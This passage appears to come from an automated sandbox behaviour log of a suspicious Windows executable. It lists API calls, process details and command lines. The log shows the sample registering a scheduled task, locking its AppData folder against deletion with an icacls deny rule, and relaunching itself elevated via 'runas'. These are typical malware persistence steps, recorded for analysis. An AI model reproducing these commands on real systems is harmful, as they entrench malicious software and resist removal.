ppvObject=0x18e670 | out: ppvObject=0x18e670*=0x2c30ec0) returned 0x0 [0046.295] IUnknown:Release (This=0x2c30ec0) returned 0x2 [0046.295] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x33d6840 [0046.295] IExecAction:put_Path (This=0x2c30ec0, Path="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe") returned 0x0 [0046.295] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x33d6840 | out: hHeap=0x730000) returned 1 [0046.295] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x33d6840 [0046.295] IExecAction:put_Arguments (This=0x2c30ec0, Arguments="--Task") returned 0x0 [0046.295] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x33d6840 | out: hHeap=0x730000) returned 1 [0046.295] IUnknown:Release (This=0x2c30ec0) returned 0x1 [0046.295] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x33d6840 [0046.296] ITaskFolder:RegisterTaskDefinition (in: This=0x72ff98, Path="Time Trigger Task", pDefinition=0x2c30b88, flags=6, UserId=0x18e110*(varType=0x0, wReserved1=0x33f, wReserved2=0xe624, wReserved3=0x18, varVal1=0x420cab, varVal2=0x730000), password=0x18e120*(varType=0x0, wReserved1=0x0, wReserved2=0xe0, wReserved3=0x0, varVal1=0x6f, varVal2=0x7), LogonType=3, sddl=0x18e134*(varType=0x8, wReserved1=0x0, wReserved2=0x3, wReserved3=0x0, varVal1="", varVal2=0xe8), ppTask=0x18e63c | out: ppTask=0x18e63c*=0x2c30f30) returned 0x0 [0046.437] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x33d6840 | out: hHeap=0x730000) returned 1 [0046.437] TaskScheduler:IUnknown:Release (This=0x72ff98) returned 0x0 [0046.437] TaskScheduler:IUnknown:Release (This=0x2c30b88) returned 0x0 [0046.437] IUnknown:Release (This=0x2c30f30) returned 0x0 [0046.437] CoUninitialize () [0046.439] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x781f50 | out: hHeap=0x730000) returned 1 [0046.439] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x75e3d8 | out: hHeap=0x730000) returned 1 [0046.439] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x339f450 | out: hHeap=0x730000) returned 1 [0046.439] GetVersion () returned 0x1db10106 [0046.439] lstrcpyW (in: lpString1=0x18eaa0, lpString2="--Admin" | out: lpString1="--Admin") returned="--Admin" [0046.439] lstrcatW (in: lpString1="--Admin", lpString2=" IsNotAutoStart" | out: lpString1="--Admin IsNotAutoStart") returned="--Admin IsNotAutoStart" [0046.439] lstrcatW (in: lpString1="--Admin IsNotAutoStart", lpString2=" IsNotTask" | out: lpString1="--Admin IsNotAutoStart IsNotTask") returned="--Admin IsNotAutoStart IsNotTask" [0046.439] ShellExecuteExW (in: pExecInfo=0x18e864*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe", lpParameters="--Admin IsNotAutoStart IsNotTask", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nShow=5, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x18e864*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe", lpParameters="--Admin IsNotAutoStart IsNotTask", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nShow=5, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0046.548] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x33c52b8 | out: hHeap=0x730000) returned 1 [0046.548] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7ef2c0 | out: hHeap=0x730000) returned 1 [0046.548] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x783df8 | out: hHeap=0x730000) returned 1 [0046.612] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x780560 | out: hHeap=0x730000) returned 1 [0046.612] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x750910 | out: hHeap=0x730000) returned 1 [0046.612] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x33f1ce0 | out: hHeap=0x730000) returned 1 [0046.612] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x33f13e8 | out: hHeap=0x730000) returned 1 [0046.612] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x752bf0 | out: hHeap=0x730000) returned 1 [0046.633] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x752060 | out: hHeap=0x730000) returned 1 [0046.633] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fb2c | out: phModule=0x18fb2c) returned 0 [0046.633] ExitProcess (uExitCode=0x0) [0046.730] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x34100a0 | out: hHeap=0x730000) returned 1 [0046.730] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x751490 | out: hHeap=0x730000) returned 1 [0046.767] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 2 os_tid = 0x754 Thread: id = 3 os_tid = 0x620 Thread: id = 4 os_tid = 0x688 Thread: id = 5 os_tid = 0x358 Thread: id = 6 os_tid = 0x598 Thread: id = 7 os_tid = 0xa58 Thread: id = 21 os_tid = 0x5bc Thread: id = 22 os_tid = 0x410 Thread: id = 60 os_tid = 0xa48 Thread: id = 70 os_tid = 0xa50 Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x972d000" os_pid = "0xc8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dde1" [0xc000000f], "LOCAL" [0x7] Thread: id = 8 os_tid = 0x768 Thread: id = 9 os_tid = 0x764 Thread: id = 10 os_tid = 0x758 Thread: id = 11 os_tid = 0x724 Thread: id = 12 os_tid = 0x718 Thread: id = 13 os_tid = 0x714 Thread: id = 14 os_tid = 0x630 Thread: id = 15 os_tid = 0x154 Thread: id = 16 os_tid = 0x150 Thread: id = 17 os_tid = 0x120 Thread: id = 18 os_tid = 0x124 Thread: id = 19 os_tid = 0x118 Thread: id = 20 os_tid = 0xf0 Thread: id = 61 os_tid = 0xb04 Thread: id = 105 os_tid = 0xb68 Thread: id = 137 os_tid = 0x81c Process: id = "3" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x971d000" os_pid = "0x370" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d057" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 23 os_tid = 0x414 Thread: id = 24 os_tid = 0x320 Thread: id = 25 os_tid = 0x6cc Thread: id = 26 os_tid = 0x42c Thread: id = 27 os_tid = 0x1e4 Thread: id = 28 os_tid = 0x760 Thread: id = 29 os_tid = 0x75c Thread: id = 30 os_tid = 0x74c Thread: id = 31 os_tid = 0x710 Thread: id = 32 os_tid = 0x6e8 Thread: id = 33 os_tid = 0x6e0 Thread: id = 34 os_tid = 0x6d0 Thread: id = 35 os_tid = 0x6bc Thread: id = 36 os_tid = 0x6b8 Thread: id = 37 os_tid = 0x6b0 Thread: id = 38 os_tid = 0x69c Thread: id = 39 os_tid = 0x698 Thread: id = 40 os_tid = 0x684 Thread: id = 41 os_tid = 0x678 Thread: id = 42 os_tid = 0x4a8 Thread: id = 43 os_tid = 0x46c Thread: id = 44 os_tid = 0x44c Thread: id = 45 os_tid = 0x424 Thread: id = 46 os_tid = 0x420 Thread: id = 47 os_tid = 0x41c Thread: id = 48 os_tid = 0x404 Thread: id = 49 os_tid = 0x14c Thread: id = 50 os_tid = 0x158 Thread: id = 51 os_tid = 0x3fc Thread: id = 52 os_tid = 0x3f4 Thread: id = 53 os_tid = 0x3e8 Thread: id = 54 os_tid = 0x39c Thread: id = 55 os_tid = 0x390 Thread: id = 56 os_tid = 0x38c Thread: id = 57 os_tid = 0x388 Thread: id = 58 os_tid = 0x37c Thread: id = 59 os_tid = 0x374 Thread: id = 93 os_tid = 0x780 Thread: id = 94 os_tid = 0x798 Thread: id = 95 os_tid = 0x774 Thread: id = 96 os_tid = 0x308 Thread: id = 97 os_tid = 0x7e8 Thread: id = 98 os_tid = 0x808 Thread: id = 99 os_tid = 0x818 Thread: id = 100 os_tid = 0x828 Thread: id = 101 os_tid = 0x840 Thread: id = 102 os_tid = 0x854 Thread: id = 103 os_tid = 0x898 Thread: id = 104 os_tid = 0x8a8 Thread: id = 131 os_tid = 0x844 Thread: id = 132 os_tid = 0x940 Thread: id = 133 os_tid = 0x900 Thread: id = 134 os_tid = 0x89c Thread: id = 135 os_tid = 0x8ac Process: id = "4" image_name = "icacls.exe" filename = "c:\\windows\\syswow64\\icacls.exe" page_root = "0x4cda1000" os_pid = "0x6a8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x694" cmd_line = "icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 62 os_tid = 0xa64 Thread: id = 63 os_tid = 0xa44 Process: id = "5" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x76a3f000" os_pid = "0x588" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "created_scheduled_job" parent_id = "1" os_parent_pid = "0x370" cmd_line = "taskeng.exe {4568F795-B030-4E70-B052-419BC1469E0B} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\\5p5NrGJn0jS HALPmcxz:Interactive:Highest[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 64 os_tid = 0xaf0 Thread: id = 65 os_tid = 0x5b4 Thread: id = 66 os_tid = 0x5b0 Thread: id = 67 os_tid = 0x59c Thread: id = 68 os_tid = 0x594 Thread: id = 69 os_tid = 0x58c Thread: id = 78 os_tid = 0x730 Process: id = "6" image_name = "host1506_2020-06-15_14-07.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\host1506_2020-06-15_14-07.exe" page_root = "0xd86f000" os_pid = "0x4e4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x694" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe\" --Admin IsNotAutoStart IsNotTask" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 71 os_tid = 0x570 [0046.847] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0x1fe0ca40, dwHighDateTime=0x1d643ed)) [0046.847] GetCurrentThreadId () returned 0x570 [0046.847] GetCurrentProcessId () returned 0x4e4 [0046.847] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=16783306084) returned 1 [0047.042] GetStartupInfoW (in: lpStartupInfo=0x18ff08 | out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x77c5fd35, hStdError=0x77cc7daf)) [0047.042] GetProcessHeap () returned 0x2c0000 [0047.042] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0047.042] GetProcAddress (hModule=0x76d30000, lpProcName="FlsAlloc") returned 0x76d44f2b [0047.043] GetProcAddress (hModule=0x76d30000, lpProcName="FlsFree") returned 0x76d4359f [0047.043] GetProcAddress (hModule=0x76d30000, lpProcName="FlsGetValue") returned 0x76d41252 [0047.043] GetProcAddress (hModule=0x76d30000, lpProcName="FlsSetValue") returned 0x76d44208 [0047.043] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSectionEx") returned 0x76d44d28 [0047.043] GetProcAddress (hModule=0x76d30000, lpProcName="CreateEventExW") returned 0x76dc410b [0047.043] GetProcAddress (hModule=0x76d30000, lpProcName="CreateSemaphoreExW") returned 0x76dc4195 [0047.043] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadStackGuarantee") returned 0x76d4d31f [0047.043] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThreadpoolTimer") returned 0x76d5ee7e [0047.043] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadpoolTimer") returned 0x77c8441c [0047.043] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x77cac50e [0047.043] GetProcAddress (hModule=0x76d30000, lpProcName="CloseThreadpoolTimer") returned 0x77cac381 [0047.043] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThreadpoolWait") returned 0x76d5f088 [0047.043] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadpoolWait") returned 0x77c905d7 [0047.043] GetProcAddress (hModule=0x76d30000, lpProcName="CloseThreadpoolWait") returned 0x77caca24 [0047.043] GetProcAddress (hModule=0x76d30000, lpProcName="FlushProcessWriteBuffers") returned 0x77c60b8c [0047.043] GetProcAddress (hModule=0x76d30000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x77d1fde8 [0047.043] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcessorNumber") returned 0x77cb1e1d [0047.043] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalProcessorInformation") returned 0x76dc4761 [0047.043] GetProcAddress (hModule=0x76d30000, lpProcName="CreateSymbolicLinkW") returned 0x76dbcd11 [0047.043] GetProcAddress (hModule=0x76d30000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0047.044] GetProcAddress (hModule=0x76d30000, lpProcName="EnumSystemLocalesEx") returned 0x76dc424f [0047.044] GetProcAddress (hModule=0x76d30000, lpProcName="CompareStringEx") returned 0x76dc46b1 [0047.044] GetProcAddress (hModule=0x76d30000, lpProcName="GetDateFormatEx") returned 0x76dd6676 [0047.044] GetProcAddress (hModule=0x76d30000, lpProcName="GetLocaleInfoEx") returned 0x76dc4751 [0047.044] GetProcAddress (hModule=0x76d30000, lpProcName="GetTimeFormatEx") returned 0x76dd65f1 [0047.044] GetProcAddress (hModule=0x76d30000, lpProcName="GetUserDefaultLocaleName") returned 0x76dc47c1 [0047.044] GetProcAddress (hModule=0x76d30000, lpProcName="IsValidLocaleName") returned 0x76dc47e1 [0047.044] GetProcAddress (hModule=0x76d30000, lpProcName="LCMapStringEx") returned 0x76dc47f1 [0047.044] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentPackageId") returned 0x0 [0047.044] GetProcAddress (hModule=0x76d30000, lpProcName="GetTickCount64") returned 0x76d5eee0 [0047.044] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0047.044] GetProcAddress (hModule=0x76d30000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0047.045] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x3bc) returned 0x2ceea8 [0047.045] GetCurrentThreadId () returned 0x570 [0047.045] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x2cf270 [0047.045] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x800) returned 0x2cf290 [0047.045] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x408241, hStdOutput=0xf66a65e2, hStdError=0x0)) [0047.045] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0047.046] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0047.046] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0047.046] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe\" --Admin IsNotAutoStart IsNotTask" [0047.046] GetEnvironmentStringsW () returned 0x2cfa98* [0047.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0047.046] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x565) returned 0x2d0570 [0047.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x2d0570, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0047.046] FreeEnvironmentStringsW (penv=0x2cfa98) returned 1 [0047.046] GetLastError () returned 0x7f [0047.046] SetLastError (dwErrCode=0x7f) [0047.046] GetLastError () returned 0x7f [0047.046] SetLastError (dwErrCode=0x7f) [0047.046] GetLastError () returned 0x7f [0047.046] SetLastError (dwErrCode=0x7f) [0047.046] GetACP () returned 0x4e4 [0047.046] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x220) returned 0x2d0ae0 [0047.046] GetLastError () returned 0x7f [0047.046] SetLastError (dwErrCode=0x7f) [0047.046] IsValidCodePage (CodePage=0x4e4) returned 1 [0047.046] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fedc | out: lpCPInfo=0x18fedc) returned 1 [0047.046] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f9a4 | out: lpCPInfo=0x18f9a4) returned 1 [0047.046] GetLastError () returned 0x7f [0047.046] SetLastError (dwErrCode=0x7f) [0047.047] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0047.047] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f728, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0047.047] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9b8 | out: lpCharType=0x18f9b8) returned 1 [0047.047] GetLastError () returned 0x7f [0047.047] SetLastError (dwErrCode=0x7f) [0047.047] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0047.047] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0047.047] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0047.047] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ 